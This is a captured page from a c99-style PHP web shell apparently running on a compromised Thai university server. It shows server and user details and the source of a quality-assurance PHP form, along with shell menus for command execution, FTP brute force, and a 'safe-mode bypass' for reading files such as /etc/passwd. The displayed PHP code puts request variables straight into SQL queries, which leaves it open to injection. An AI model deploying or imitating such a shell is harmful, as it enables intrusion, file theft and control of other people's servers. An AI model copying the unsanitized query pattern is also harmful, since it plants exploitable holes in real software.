!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddReportIndictor.php (9.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

 session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if (! session_is_registered("valid_user") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
           require_once( 
"../includes/FunctionDB.php" );
        
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Query เพื่อหา Numrows ก่อน  */
         
$sql ="SELECT * FROM  project_report_tb   WHERE proRpId ='$proRpId' ";
         
$result mysql_query($sql) or die("Cannot Select").mysql_error();
         
$rs mysql_fetch_array($result);
            
/**  โฟลเดอร์ไฟล์เอกสาร */
    
$doc_path $_Config_live_site."/Qa_pic";        

    } 
#else
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<br>
<table width="709" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
        <td width="709" height="194">
          <fieldset>
         
            <form id="form1" name="form1" method="post" action="InsertReportIndictor.php">
              <span class="PADDING-TOP-10 PADDING-BOTTOM-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span>
              <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" style="background-color:#eeeeee; border:0px solid gray; font-size: 14px;"size="12">
                  <tr bgcolor="#F3F3F3">
                    <td height="22" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><strong><img src="../picture/ico3.gif" width="10" height="10" border="0" />
                        <?php
                 $sql 
" SELECT *  FROM  qa_elements qe, qa_indicator qi   WHERE   qi.indId='$indId'   and   qi.elemId= qe.elemId  ";
                 
$result4 $dbObj->execQuery($sql);
                 
$rs4$dbObj->fetchArray($result4);
                  echo 
htmlspecialchars_decodenl2br$rs4['Elements'] ) ) ;
              
?>
                    </strong></td>
                </tr>
                  <tr bgcolor="#F3F3F3">
                    <td height="22" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><span class="PADDING-LEFT-5"><strong><img src="../picture/ico3.gif" width="10" height="10" border="0" />ตัวบ่งชี้ที่
                          <?php
                 $sql 
" SELECT *  FROM  qa_indicator    WHERE   indId='$indId'  ";
                 
$result5 $dbObj->execQuery($sql);
                 
$rs5$dbObj->fetchArray($result5);
                  echo 
$rs5['indicaNo'] ." " .$rs5['Indicator'];
              
?>
                    </strong></a></span></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td height="22" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">
                     <?php
                          $sql3 
" Select * From   project_type_tb  pt, projectqa_type_tb pq Where  pq.indId='$indId'  and  pt.ProjectId=pq.ProjectId  and  pt.ProjectId='$ProjectId'     ";
                          
$result3 $dbObj->execQuery($sql3); 
                          
$rss3 $dbObj->fetchArray($result3);
                          
$num1mysql_num_rows($result3);
                            
mysql_free_result($result3);
             
?>
                       <?php  echo $rss3['Orderlist']; ?>
                      <?php  echo htmlspecialchars_decodenl2br($rss3['Project_plan'] ) );  ?>
                      <span class="PATRON11"> (
                      <?php
                  $sql1 
" SELECT *  FROM  faculty_tb f , project_type_tb  pt   WHERE  pt.ProjectId='$ProjectId'    and   f.Faculty_code=pt.Faculty_code       ";
                  
$result1 $dbObj->execQuery($sql1);
                  
$rs1 $dbObj->fetchArray($result1);
                      echo 
$rs1['Faculty_name'];
                 
?>
) </span></span>
<input name="ProjectId" type="hidden" id="ProjectId" value="<?=$ProjectId ?>" /></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td width="5%" height="22" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">ข้อ::</a></td>
                    <td width="95%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">
                      <input name="OrderNo" type="text" class="style4" id="CriteriaNo" value="<? echo $rs5['indicaNo']?> - " size="8" maxlength="15" /> 
                      * ให้กรอกเลขไทย
</a></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td align="center" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">เพิ่มรายการเอกสาร</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td align="center" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><textarea name="Report_name" cols="60" rows="2" class="input" id="Report_name" ><?php  echo htmlspecialchars_decodenl2br($rss3['Project_plan'] ) );  ?>
                    </textarea>
                    <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
                  <script src='../editor/quickB.js'></script> 
                   <script src='../editor/tabedit.js'></script>
                    </td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td colspan="2" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="PADDING-LEFT-15 BORDER-TOP-LEFT-RIGHT"><strong> รายการเอกสาร</strong></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="PADDING-LEFT-10 BORDER-TOP">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><table width="100%" border="0" align="left" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                      <?php
              $query 
" SELECT *  FROM  project_report_tb  WHERE    ProjectId='$ProjectId'   ";
              
$result1 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
                  
?>
                      <?php
                $no 
1+($display-1)*$limit;
                while( 
$rss $dbObj->fetchArray($result1) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                      <tr bgcolor="<?=$bgColor;?>">
                        <td width="7%" align="center" class="PADDING-LEFT-3 BORDER"><?=$rss['codeNo']; ?></td>
                        <td width="86%" height="20" align="left" class="PADDING-LEFT-3 BORDER"><img src="../picture/ico3.gif" width="10" height="10" border="0" /><?php echo htmlspecialchars_decode$rss['Report_name'] ); ?></a></td>
                        <td width="7%" align="center" class="PADDING-LEFT-5"><?php if( $rss['Filename'] != "" ) { ?>
                          <a href="javascript:;" onclick="NewWindow('<?=$doc_path;?>/<?=$rss["Filename"]?>','Detail','850','600','yes');"><img src="../images/icons/download.png"  width="16" height="16" border="0" /></a>
                          <?php } else { ?>
                          <img src="../images/icons/download_off.png" width="16" height="16" />
                          <?php ?>
                          </span></td>
                        <?php
                    
//$no++;
                
# while
              
?>
                      </tr>
                      <tr>
                        <td height="22" colspan="3" align="center" bgcolor="#F8F8F8"><strong>ทั้งหมด <span class="NOTE"><?php echo $numrows?></span> รายการ</strong></td>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#F3D6F2">
                    <td colspan="2" bgcolor="#FFFFFF"><div align="center">
                      <input name="indId" type="hidden" id="indId" value="<?=$indId ?>" />
                      <input name="AcademicYear" type="hidden" id="AcademicYear" value="<?=$AcademicYear ?>" />
                      <input name="Submit" type="submit" class="WIDTH60" id="Submit" value="บันทึก" />
                      <input name="Reset" type="reset" class="WIDTH60" id="Reset" value="Reset" />
&nbsp;
<input type="button" name="Submit" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
                    </div></td>
                  </tr>
              </table>
                        </form>
          </fieldset>
        
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0114 ]--